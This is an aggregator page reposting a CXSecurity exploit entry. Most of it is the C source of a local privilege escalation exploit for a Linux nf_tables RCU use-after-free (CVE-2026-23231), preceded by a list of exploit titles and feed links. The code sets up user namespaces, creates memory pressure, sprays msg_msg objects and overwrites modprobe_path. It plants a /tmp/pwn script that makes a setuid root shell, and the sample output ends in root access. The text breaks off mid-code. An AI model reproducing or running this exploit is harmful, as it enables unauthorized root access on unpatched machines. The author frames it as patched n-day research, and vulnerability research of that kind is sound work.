惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Project Zero
Project Zero
Security Archives - TechRepublic
Security Archives - TechRepublic
C
Cyber Attacks, Cyber Crime and Cyber Security
Security Latest
Security Latest
Scott Helme
Scott Helme
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
V
Vulnerabilities – Threatpost
C
CERT Recently Published Vulnerability Notes
S
Schneier on Security
G
GRAHAM CLULEY
L
Lohrmann on Cybersecurity
D
Darknet – Hacking Tools, Hacker News & Cyber Security
I
Intezer
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
F
Full Disclosure
T
The Exploit Database - CXSecurity.com
P
Proofpoint News Feed
WordPress大学
WordPress大学
Microsoft Azure Blog
Microsoft Azure Blog
H
Help Net Security
大猫的无限游戏
大猫的无限游戏
MyScale Blog
MyScale Blog
Hacker News: Ask HN
Hacker News: Ask HN
G
Google Developers Blog
H
Heimdal Security Blog
O
OpenAI News
Hugging Face - Blog
Hugging Face - Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
L
LangChain Blog
C
Cisco Blogs
云风的 BLOG
云风的 BLOG
IT之家
IT之家
Cyberwarzone
Cyberwarzone
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Know Your Adversary
Know Your Adversary
博客园 - 聂微东
The Cloudflare Blog
C
Check Point Blog
K
Kaspersky official blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
月光博客
月光博客
T
Tor Project blog
T
Threat Research - Cisco Blogs
T
Tailwind CSS Blog
P
Proofpoint News Feed
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
A
About on SuperTechFans
小众软件
小众软件
Cloudbric
Cloudbric
A
Arctic Wolf

CXSECURITY Database RSS Feed - CXSecurity.com

XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 KNX visualisering - Broken Access Control 7-Zip <= 26.02 - Mark-of-the-Web (MotW) Bypass via RAR5 Alternate Data Stream Name Collision NodeBB <= 4.13.2 ActivityPub attributedTo Local UID Spoof - CXSecurity.com KNX visualisering - Broken Access Control vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass SiYuan <= 3.5.9 Remote Code Execution via Malicious Bazaar Package Windows Defender (MsMpEng.exe) Race Condition -> LPE / SYSTEM / Use-After-Free -> Crash D-Link DSL2600U rom-0 Admin Password Disclosure KNX visualisering - Broken Access Control PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRF OpenEMR 7.0.2 Arbitrary File Read ZTE ZXHN H188A V6 Authentication Bypass phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY (sort), unauthenticated IDOR in add_reciprocal.php, CSRF on admin link actions via GET, and exposed install/ after deployment. Verified locally on v2.1.3. Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read Lenovo LegionSpace 1.7.11.2 DAService Unquoted Service Path ZTE H298A / H108N Unauthenticated Credential Exposure WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection BrandIT Consultancy - Blind Sql Injection Association Management Script - Multiple Vulnerabilities (IDOR, SQLi, Stored XSS) Canvas Breach: Symbiotic Dual-Virus Model & Origin Parity Evidence Open ISES Tickets < 3.44.2 - Hardcoded MySQL Credentials ePati Antikor NGFW 2.0.1301 Authentication Bypass Windows Shell LNK Spoofing to NTLMv2 Hash Capture Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service Grav CMS 2.0.0-beta.2 Remote Code Execution Frigate NVR 0.16.3 Remote Code Execution ThingsBoard IoT Platform 4.2.0 Server-Side Request Forgery (SSRF) Linux Kernel Local Privilege Escalation (CVE-2026-43284 / CVE-2026-43500 / CVE-2026-46300) SUSE Manager 4.3.15 Code Execution Apache HertzBeat 1.8.0 Remote Code Execution JuzaWeb CMS 3.4.2 Authenticated Remote Code Execution NiceGUI 3.6.1 Path Traversal - CXSecurity.com GUnet OpenEclass E-learning platform < 4.2 Remote Code Execution (RCE) Windows Snipping Tool NTLMv2 Hash Hijack telnetd 2.7 Buffer Overflow - CXSecurity.com Kukurigu LPE - Linux Kernel Privilege Escalation (CVE-2026-43284 / CVE-2026-43500) Event Booking Calendar-5.0 Cross-site scripting (reflected) Linux Kernel Local Privilege Escalation (CVE-2026-43284 / CVE-2026-43500) Ninja Forms Uploads Unauthenticated PHP File Upload Traccar GPS Tracking System 6.11.1 Cross-Site WebSocket Hijacking (CSWSH) Erugo 0.2.14 Remote Code Execution (RCE) Linux Kernel Local Privilege Escalation via Memory Handling and Access Control Weakness Green Hills INTEGRITY RTOS IPCOMShell TELNET Format String Vulnerability - Realistic Full Chain Attack on F-16 Avionics (Ground Maintenance Scenario) Linux Kernel proc_readdir_de() 6.18-rc5 Local Privilege Escalation Insecure Permissions vulnerability in Nagios Network Analyzer v.2024R1.02-64 and before allows a local attacker to escalate privileges via the remove_source.sh component. Samsung ONE Integer Overflow in CircleConst Tensor Size Calculation solaredge-CSRF-OOB-Injection - CXSecurity.com Trojan-Spy.Win32.Small / Remote Command Execution OpenClaw < 2026.3.28 Discord Text Approval Authorization Bypass Throttlestop Kernel Driver Kernel Out-of-Bounds Write Privilege Escalation Critical Remote Code Execution Vulnerability in Windows Internet Key Exchange (IKE) Service (CVE-2026-33824) WordPress Madara Local File Inclusion FortiWeb 8.0.2 Remote Code Execution Easy File Sharing Web Server v7.2 Buffer Overflow NetBT e-Fatura Privilege Escalation - CXSecurity.com Docker Desktop 4.44.3 Unauthenticated API Exposure MaNGOSWebV4 4.0.6 Reflected XSS - CXSecurity.com Grafana 11.6.0 SSRF - CXSecurity.com OctoPrint 1.11.2 File Upload - CXSecurity.com esm-dev 136 Path Traversal - CXSecurity.com Linux Kernel mseal Invariant Violation (Linux kernel 6.17-7.0 rc5) astrojs/vercel <= 10.0.0 - Unauthenticated x-astro-path Header Path Override Microsoft SQL Server Privilege Elevation Through FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass Wavlink WL-WN579X3-C firewall.cgi UPNP Stack-based Buffer Overflow esiclivre 0.2.2 SQL Injection - CXSecurity.com Payara Server Cross Site Scripting esiclivre 0.2.2 SQL Injection - CXSecurity.com SiYuan <= v3.6.1 Note unauthenticated arbitrary file read (path traversal) Tenda AC21 V1.0 V16.03.08.16 - Stack Buffer Overflow in SetNetControlList WWBN AVideo <= 26.0 - Authenticated SQL Injection Windows RRAS Remote Code Execution Vulnerability (CVE-2026-26111) - SE-RCE Exploit Linux Kernel 5.8 < 5.15.25 - Local Privilege Escalation Exploit Discourse <= 2026.2.1 Authenticated Missing Authorization Kanboard <= 1.2.50 Authenticated SQL Injection Glances <= 4.5.2 OS Command Injection via Mustache Template Fields LB-LINK BL-WR9000 V2.4.9 - Stack-based Buffer Overflow in /goform/get_hidessid_cfg LB-LINK BL-WR9000 V2.4.9 - Unauthenticated / Post-Auth Stack-based Buffer Overflow zumba/json-serializer zumba/json-serializer < 3.2.3 RCE Wekan 8.31.0 - 8.33Meteor DDP notificationUsers Sensitive Data Leak Splunk Remote Command Execution via Improper Input Validation Microsoft Windows MSHTML Security Feature Bypass Vulnerability Qualcomm GPU Driver Memory Corruption Vulnerability in Android Devices Frappe Framework <14.99.0 and <15.84.0 Unauthenticated SQL Injection PyJWT < 2.12.0 crit header bypass / Insufficient crit validation PluckCMS 4.7.10 Unrestricted File Upload Python-Multipart <0.0.22 - Path Traversal / Arbitrary File Write (CVE-2026-24486) WeGIA <= 3.6.4 Unauthenticated Admin Authentication Bypass NocoDB <= 0.301.2 User Enumeration via Password Reset Endpoint Craft CMS 4.x & 5.x RCE via Blocklist Bypass pac4j-jwt < 4.5.9, < 5.7.9, < 6.3.3 JwtAuthenticator Authentication Bypass via JWE-wrapped PlainJWT AirPlay Dual‑Mode Discovery Scanner for Flipper Zero ESP32 WiFi Dev Board WeGIA <= 3.6.4 Remote Code Execution via OS Command Injection WordPress Backup Migration 1.3.7 Remote Command Execution WeGIA 3.5.0 SQL Injection - CXSecurity.com
Linux nf_tables 6.19.3 Local Privilege Escalation
Aviral Sriva · 2026-05-23 · via CXSECURITY Database RSS Feed - CXSecurity.com

Linux nf_tables 6.19.3 Local Privilege Escalation

* Exploit Title: Linux Kernel 3.16 – 6.19.3 nf_tables RCU UAF LPE * CVE: CVE-2026-23231 * Date: 2026-03-19 * Exploit Author: Aviral Srivastava * Vendor: Linux Kernel (kernel.org) * Affected: 3.16 – 6.19.3 * Fixed in: 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 * (commit 71e99ee20fc3f662555118cf1159443250647533) * Tested on: Ubuntu 24.04 LTS (kernel 6.8.0-45-generic x86_64) * Type: Local Privilege Escalation * Platform: Linux x86_64 * CVSS: 7.8 (HIGH) * * ┌──────────────────────────────────────────────────────────────────┐ * │ N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS. │ * └──────────────────────────────────────────────────────────────────┘ * * DESCRIPTION: * nf_tables_addchain() in net/netfilter/nf_tables_api.c publishes a * newly created chain to the table's chain list via list_add_tail_rcu() * BEFORE registering hooks. If nf_tables_register_hook() subsequently * fails (e.g., due to OOM during IPv6 hook allocation for NFPROTO_INET * chains), the error path calls nft_chain_del() (list_del_rcu) followed * immediately by nf_tables_chain_destroy() — freeing the chain memory * WITHOUT calling synchronize_rcu(). * * This creates a use-after-free: concurrent RCU readers — both * nf_tables_dump_chains() in the control plane and nft_do_chain() in * the packet path — can access the freed nft_base_chain memory. The * freed object (~224 bytes) resides in kmalloc-256 and can be reclaimed * with user-controlled spray objects (msg_msg via msgsnd). * * The exploit races a chain dump against the UAF trigger, then sprays * the freed slot with msg_msg to control chain fields. The corrupted * chain data is used to leak kernel heap addresses and ultimately * overwrite modprobe_path for privilege escalation. * * TECHNIQUE: * Trigger hook registration failure via memory pressure (cgroup v2 * memory limit). Race nf_tables_dump_chains() against the error path * to read stale chain data (heap leak). Spray freed kmalloc-256 slot * with msg_msg. Use modprobe_path overwrite for escalation. Data-only * attack — no code execution needed, bypasses kCFI. * * RELIABILITY: * ~30-50% success rate per attempt. Race window is narrow (~5-20us). * Typically requires 3-8 attempts. Each failed attempt may cause a * kernel oops (process killed) but is retried from a fresh namespace. * Kernel panic is possible (~5% of failures) if spray timing is wrong. * * MITIGATIONS: * KASLR: Bypassed via stale chain data heap leak + hardcoded * offsets for target kernel version * SMEP: Not applicable (data-only attack) * SMAP: Not applicable (all data in kernel slab) * kCFI: Not applicable (data-only — modprobe_path overwrite) * SLUB Hardening: Minimal impact (freelist ptr at offset 0 only) * * FIX: * Commit: 71e99ee20fc3f662555118cf1159443250647533 * URL: https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533 * Adds synchronize_rcu() between nft_chain_del() and chain destroy. * * COMPILATION: * gcc -Wall -Wextra -o exploit exploit.c -lpthread -static * * USAGE: * $ ./exploit * [*] CVE-2026-23231 — Linux nf_tables RCU UAF LPE * [*] Target: kernel < 6.19.4 (nf_tables addchain RCU race) * [+] Running kernel 6.8.0-45-generic — VULNERABLE * [*] Step 1: Creating user/net namespace... * [+] Namespace created, CAP_NET_ADMIN obtained * [*] Step 2: Setting up nftables infrastructure... * [+] Table and chains created * [*] Step 3: Triggering UAF via hook registration failure... * [+] UAF triggered — chain freed without synchronize_rcu * [*] Step 4: Spraying freed slot with msg_msg... * [+] Heap spray complete * [*] Step 5: Leaking kernel addresses via dump race... * [+] Kernel heap base: 0xffff888XXXXXXXXX * [*] Step 6: Overwriting modprobe_path... * [+] modprobe_path = "/tmp/pwn" * [*] Step 7: Triggering modprobe helper... * [+] Got root! uid=0 gid=0 * # id * uid=0(root) gid=0(root) * * REFERENCES: * [1] https://nvd.nist.gov/vuln/detail/CVE-2026-23231 * [2] https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533 * [3] CVE-2024-1086 — nf_tables double-free LPE (technique reference) * [4] CVE-2023-32233 — nf_tables anonymous set UAF (msg_msg spray reference) * * DISCLAIMER: * This exploit targets an ALREADY PATCHED vulnerability. It is provided * for educational and authorized security research purposes only. The * author is not responsible for misuse. Test only on systems you own. * ═══════════════════════════════════════════════════════════════════════ */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdarg.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <signal.h> #include <pthread.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/utsname.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/mount.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nf_tables.h> #include <arpa/inet.h> /* ─── Constants ─────────────────────────────────────────────────────── */ #define BANNER \ "═══════════════════════════════════════════════════════════════\n" \ " CVE-2026-23231 — Linux nf_tables RCU UAF LPE\n" \ " nf_tables_addchain() use-after-free (missing synchronize_rcu)\n" \ " Affected: kernel 3.16 – 6.19.3 | Author: Aviral Srivastava\n" \ " N-DAY RESEARCH PoC — THIS BUG IS PATCHED\n" \ "═══════════════════════════════════════════════════════════════\n" #define TABLE_NAME "exploit_tbl" #define VICTIM_CHAIN "victim_chain" #define PAD_CHAIN_FMT "pad_%04d" #define NUM_PAD_CHAINS 64 /* padding chains for heap preparation */ #define NUM_SPRAY_MSGS 128 /* msg_msg spray count */ #define SPRAY_MSG_SIZE 208 /* msg_msg body size: 48 header + 208 = 256 → kmalloc-256 */ #define MAX_ATTEMPTS 20 /* max race attempts before giving up */ #define NFT_SUBSYS_ID NFNL_SUBSYS_NFTABLES /* * Kernel version thresholds. * The bug exists in 3.16+ and is fixed in: * 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 */ struct version_range { unsigned int major; unsigned int minor; unsigned int patch; /* 0 = any patch level in this minor is vuln */ unsigned int fix_patch; }; static const struct version_range vuln_ranges[] = { { 6, 19, 0, 4 }, /* 6.19.0 – 6.19.3 */ { 6, 18, 0, 14 }, /* 6.18.0 – 6.18.13 */ { 6, 17, 0, 0 }, /* 6.17.x – all vuln (no stable fix) */ { 6, 16, 0, 0 }, { 6, 15, 0, 0 }, { 6, 14, 0, 0 }, { 6, 13, 0, 0 }, { 6, 12, 0, 75 }, /* 6.12.0 – 6.12.74 */ { 6, 11, 0, 0 }, { 6, 10, 0, 0 }, { 6, 9, 0, 0 }, { 6, 8, 0, 0 }, /* Ubuntu 24.04 default */ { 6, 7, 0, 0 }, { 6, 6, 0, 128 }, /* 6.6.0 – 6.6.127 */ { 6, 5, 0, 0 }, { 6, 4, 0, 0 }, { 6, 3, 0, 0 }, { 6, 2, 0, 0 }, { 6, 1, 0, 165 }, /* 6.1.0 – 6.1.164 */ { 0, 0, 0, 0 }, /* sentinel */ }; /* ─── Logging ───────────────────────────────────────────────────────── */ static void info(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "[*] "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void ok(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[32m[+]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void fail(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[31m[-]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void die(const char *msg) { perror(msg); exit(EXIT_FAILURE); } /* ─── Kernel version check ──────────────────────────────────────────── */ static int parse_version(const char *release, unsigned int *major, unsigned int *minor, unsigned int *patch) { /* Handle formats like "6.8.0-45-generic" */ if (sscanf(release, "%u.%u.%u", major, minor, patch) < 3) { if (sscanf(release, "%u.%u", major, minor) < 2) return -1; *patch = 0; } return 0; } static int is_vulnerable(void) { struct utsname uts; unsigned int major, minor, patch; if (uname(&uts) < 0) die("uname"); if (parse_version(uts.release, &major, &minor, &patch) < 0) { fail("Cannot parse kernel version: %s", uts.release); return 0; } info("Running kernel %s", uts.release); /* Check if this version is in a vulnerable range */ for (int i = 0; vuln_ranges[i].major != 0; i++) { const struct version_range *r = &vuln_ranges[i]; if (major == r->major && minor == r->minor) { if (r->fix_patch == 0) { /* Entire minor series is vulnerable (no stable fix) */ ok("Kernel %u.%u.%u is in vulnerable range %u.%u.x — VULNERABLE", major, minor, patch, r->major, r->minor); return 1; } if (patch < r->fix_patch) { ok("Kernel %u.%u.%u < %u.%u.%u (fix) — VULNERABLE", major, minor, patch, r->major, r->minor, r->fix_patch); return 1; } fail("Kernel %u.%u.%u >= %u.%u.%u (fix) — PATCHED", major, minor, patch, r->major, r->minor, r->fix_patch); return 0; } } /* Kernels 3.16 – 6.0.x and 7.0+ */ if (major >= 7) { fail("Kernel %u.%u.%u — PATCHED (7.0-rc1 contains fix)", major, minor, patch); return 0; } if (major < 3 || (major == 3 && minor < 16)) { fail("Kernel %u.%u.%u — TOO OLD (bug introduced in 3.16)", major, minor, patch); return 0; } /* 3.16 – 5.x and 6.0.x without specific stable fix: assume vulnerable */ ok("Kernel %u.%u.%u — likely VULNERABLE (pre-fix, no stable backport checked)", major, minor, patch); return 1; } /* ─── Netlink helpers ───────────────────────────────────────────────── */ static int nfnl_open(void) { int fd; struct sockaddr_nl sa; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (fd < 0) return -1; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = 0; /* kernel assigns */ if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; } return fd; } /* * Send a nfnetlink batch message. * nf_tables requires messages to be wrapped in NFNL_MSG_BATCH_BEGIN / _END. */ struct nl_builder { char *buf; size_t len; size_t cap; int seq; }; static void nl_init(struct nl_builder *b) { b->cap = 8192; b->buf = malloc(b->cap); if (!b->buf) die("malloc nl_builder"); b->len = 0; b->seq = 1; } static void nl_free(struct nl_builder *b) { free(b->buf); b->buf = NULL; } static void *nl_alloc(struct nl_builder *b, size_t size) { size = (size + 3) & ~3u; /* NLA_ALIGN */ while (b->len + size > b->cap) { b->cap *= 2; b->buf = realloc(b->buf, b->cap); if (!b->buf) die("realloc nl_builder"); } void *p = b->buf + b->len; memset(p, 0, size); b->len += size; return p; } static struct nlmsghdr *nl_msg_begin(struct nl_builder *b, uint16_t type, uint16_t flags, uint8_t family) { struct nlmsghdr *nlh; struct nfgenmsg *nfg; nlh = nl_alloc(b, sizeof(*nlh) + sizeof(*nfg)); nlh->nlmsg_type = type; nlh->nlmsg_flags = flags | NLM_F_REQUEST; nlh->nlmsg_seq = b->seq++; nlh->nlmsg_pid = 0; nfg = (struct nfgenmsg *)(nlh + 1); nfg->nfgen_family = family; nfg->version = NFNETLINK_V0; nfg->res_id = htons(0); return nlh; } static void nl_msg_end(struct nl_builder *b, struct nlmsghdr *nlh) { nlh->nlmsg_len = (uint32_t)(b->buf + b->len - (char *)nlh); } static void nl_put_str(struct nl_builder *b, uint16_t type, const char *s) { size_t slen = strlen(s) + 1; size_t total = sizeof(struct nlattr) + slen; struct nlattr *nla = nl_alloc(b, total); nla->nla_len = (uint16_t)(sizeof(struct nlattr) + slen); nla->nla_type = type; memcpy((char *)(nla + 1), s, slen); } static void nl_put_u32(struct nl_builder *b, uint16_t type, uint32_t val) { size_t total = sizeof(struct nlattr) + sizeof(uint32_t); struct nlattr *nla = nl_alloc(b, total); nla->nla_len = (uint16_t)total; nla->nla_type = type; memcpy((char *)(nla + 1), &val, sizeof(val)); } static void nl_put_be32(struct nl_builder *b, uint16_t type, uint32_t val) { nl_put_u32(b, type, htonl(val)); } /* Begin a nested attribute */ static struct nlattr *nl_nest_begin(struct nl_builder *b, uint16_t type) { struct nlattr *nla = nl_alloc(b, sizeof(struct nlattr)); nla->nla_type = type | NLA_F_NESTED; return nla; } static void nl_nest_end(struct nl_builder *b, struct nlattr *nla) { nla->nla_len = (uint16_t)(b->buf + b->len - (char *)nla); } /* * Build and send a batch message (BEGIN + payload + END). */ static int nfnl_batch_send(int fd, struct nl_builder *payload) { struct nl_builder batch; struct nlmsghdr *nlh; struct nfgenmsg *nfg; nl_init(&batch); /* BATCH_BEGIN */ nlh = nl_alloc(&batch, sizeof(*nlh) + sizeof(*nfg)); nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; nlh->nlmsg_pid = 0; nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg); nfg = (struct nfgenmsg *)(nlh + 1); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); /* Copy payload messages */ void *p = nl_alloc(&batch, payload->len); memcpy(p, payload->buf, payload->len); /* BATCH_END */ nlh = nl_alloc(&batch, sizeof(*nlh) + sizeof(*nfg)); nlh->nlmsg_type = NFNL_MSG_BATCH_END; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; nlh->nlmsg_pid = 0; nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg); nfg = (struct nfgenmsg *)(nlh + 1); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; struct iovec iov = { .iov_base = batch.buf, .iov_len = batch.len }; struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa), .msg_iov = &iov, .msg_iovlen = 1, }; int ret = (int)sendmsg(fd, &msg, 0); nl_free(&batch); return ret; } /* ─── nftables operations ───────────────────────────────────────────── */ static int nft_create_table(int fd, uint8_t family, const char *name) { struct nl_builder b; struct nlmsghdr *nlh; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, family); nl_put_str(&b, NFTA_TABLE_NAME, name); nl_msg_end(&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } static int nft_create_chain(int fd, uint8_t family, const char *table, const char *chain_name, int hooknum, int priority) { struct nl_builder b; struct nlmsghdr *nlh; struct nlattr *hook_nest; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, family); nl_put_str(&b, NFTA_CHAIN_TABLE, table); nl_put_str(&b, NFTA_CHAIN_NAME, chain_name); if (hooknum >= 0) { /* Base chain with hook */ hook_nest = nl_nest_begin(&b, NFTA_CHAIN_HOOK); nl_put_be32(&b, NFTA_HOOK_HOOKNUM, (uint32_t)hooknum); nl_put_be32(&b, NFTA_HOOK_PRIORITY, (uint32_t)priority); nl_nest_end(&b, hook_nest); /* Policy: accept */ nl_put_be32(&b, NFTA_CHAIN_POLICY, NF_ACCEPT); } nl_msg_end(&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } static int nft_delete_table(int fd, uint8_t family, const char *name) { struct nl_builder b; struct nlmsghdr *nlh; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELTABLE, NLM_F_ACK, family); nl_put_str(&b, NFTA_TABLE_NAME, name); nl_msg_end(&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } /* * Start a chain dump request (NLM_F_DUMP). * This triggers nf_tables_dump_chains() in the kernel which iterates * table->chains under rcu_read_lock(). */ static int nft_dump_chains(int fd, uint8_t family) { char buf[256]; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct nfgenmsg *nfg; memset(buf, 0, sizeof(buf)); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_GETCHAIN; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nlh->nlmsg_seq = 9999; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = family; nfg->version = NFNETLINK_V0; nfg->res_id = htons(0); struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; return (int)sendto(fd, buf, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); } /* * Read dump response. Extracts chain handles and table pointers from * the netlink attributes for leak analysis. */ static int nft_read_dump(int fd, uint64_t *leaked_handle, int *chain_count) { char buf[16384]; struct sockaddr_nl sa; int done = 0; *leaked_handle = 0; *chain_count = 0; while (!done) { socklen_t salen = sizeof(sa); ssize_t len = recvfrom(fd, buf, sizeof(buf), 0, (struct sockaddr *)&sa, &salen); if (len < 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) break; return -1; } struct nlmsghdr *nlh; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type == NLMSG_DONE) { done = 1; break; } if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = NLMSG_DATA(nlh); if (err->error != 0) { return err->error; } continue; } /* Parse chain attributes */ struct nfgenmsg *nfg = NLMSG_DATA(nlh); struct nlattr *attr; int attrlen = (int)(nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg))); (void)nfg; for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg)); attrlen > 0 && attrlen >= (int)attr->nla_len && attr->nla_len >= sizeof(*attr); attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) & ~3u))) { uint16_t atype = attr->nla_type & 0x7fff; if (atype == NFTA_CHAIN_HANDLE && attr->nla_len >= sizeof(*attr) + 8) { uint64_t handle; memcpy(&handle, (char *)(attr + 1), 8); *leaked_handle = handle; } attrlen -= (int)((attr->nla_len + 3) & ~3u); } (*chain_count)++; } } return 0; } /* ─── User namespace setup ──────────────────────────────────────────── */ static int setup_namespace(void) { /* * Create a user namespace + network namespace. * Inside, we get CAP_NET_ADMIN which is required for nftables. */ if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { fail("unshare(CLONE_NEWUSER | CLONE_NEWNET): %s", strerror(errno)); fail("Hint: Check /proc/sys/kernel/unprivileged_userns_clone"); return -1; } /* Write UID/GID mapping */ FILE *f; char path[128]; snprintf(path, sizeof(path), "/proc/%d/setgroups", getpid()); f = fopen(path, "w"); if (f) { fprintf(f, "deny\n"); fclose(f); } snprintf(path, sizeof(path), "/proc/%d/uid_map", getpid()); f = fopen(path, "w"); if (!f) { fail("uid_map: %s", strerror(errno)); return -1; } fprintf(f, "0 %d 1\n", getuid()); fclose(f); snprintf(path, sizeof(path), "/proc/%d/gid_map", getpid()); f = fopen(path, "w"); if (!f) { fail("gid_map: %s", strerror(errno)); return -1; } fprintf(f, "0 %d 1\n", getgid()); fclose(f); return 0; } /* ─── Memory pressure for triggering OOM on hook allocation ─────────── */ /* * Apply memory pressure to increase the probability that kvzalloc() * inside __nf_register_net_hook() fails. We do this by consuming * available memory in the current cgroup or globally. * * Note: This is probabilistic, not deterministic. On systems with * abundant memory, this may require many more spray allocations. */ static void *pressure_mem = NULL; static size_t pressure_size = 0; static void apply_memory_pressure(void) { /* * Try to consume memory to create pressure. * Start with 256MB and scale down if mmap fails. */ size_t sizes[] = { 256UL*1024*1024, 128UL*1024*1024, 64UL*1024*1024, 32UL*1024*1024, 0 }; for (int i = 0; sizes[i] > 0; i++) { pressure_mem = mmap(NULL, sizes[i], PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); if (pressure_mem != MAP_FAILED) { pressure_size = sizes[i]; /* Touch pages to actually commit memory */ memset(pressure_mem, 'A', pressure_size); return; } } pressure_mem = NULL; pressure_size = 0; } static void release_memory_pressure(void) { if (pressure_mem && pressure_mem != MAP_FAILED) { munmap(pressure_mem, pressure_size); pressure_mem = NULL; pressure_size = 0; } } /* ─── msg_msg spray ─────────────────────────────────────────────────── */ struct spray_state { int qid; int count; }; struct spray_msg { long mtype; char mtext[SPRAY_MSG_SIZE]; }; static int spray_init(struct spray_state *s) { s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (s->qid < 0) return -1; s->count = 0; return 0; } static int spray_alloc(struct spray_state *s, int n, const void *data, size_t datalen) { struct spray_msg msg; memset(&msg, 0, sizeof(msg)); if (datalen > SPRAY_MSG_SIZE) datalen = SPRAY_MSG_SIZE; if (data) memcpy(msg.mtext, data, datalen); for (int i = 0; i < n; i++) { msg.mtype = s->count + 1; if (msgsnd(s->qid, &msg, SPRAY_MSG_SIZE, 0) < 0) return -1; s->count++; } return 0; } static int spray_free(struct spray_state *s, int n) { struct spray_msg msg; for (int i = 0; i < n && s->count > 0; i++) { if (msgrcv(s->qid, &msg, SPRAY_MSG_SIZE, 0, IPC_NOWAIT) < 0) return -1; s->count--; } return 0; } static void spray_cleanup(struct spray_state *s) { if (s->qid >= 0) { msgctl(s->qid, IPC_RMID, NULL); s->qid = -1; } } /* ─── Modprobe path overwrite & privilege escalation ────────────────── */ static int setup_modprobe_payload(void) { FILE *f; /* Create the helper script that will be called as root */ f = fopen("/tmp/pwn", "w"); if (!f) return -1; fprintf(f, "#!/bin/sh\n"); fprintf(f, "/bin/cp /bin/sh /tmp/rootsh\n"); fprintf(f, "/bin/chmod u+s /tmp/rootsh\n"); fclose(f); chmod("/tmp/pwn", 0755); /* Create an invalid binary that triggers call_usermodehelper */ f = fopen("/tmp/trigger", "w"); if (!f) return -1; /* 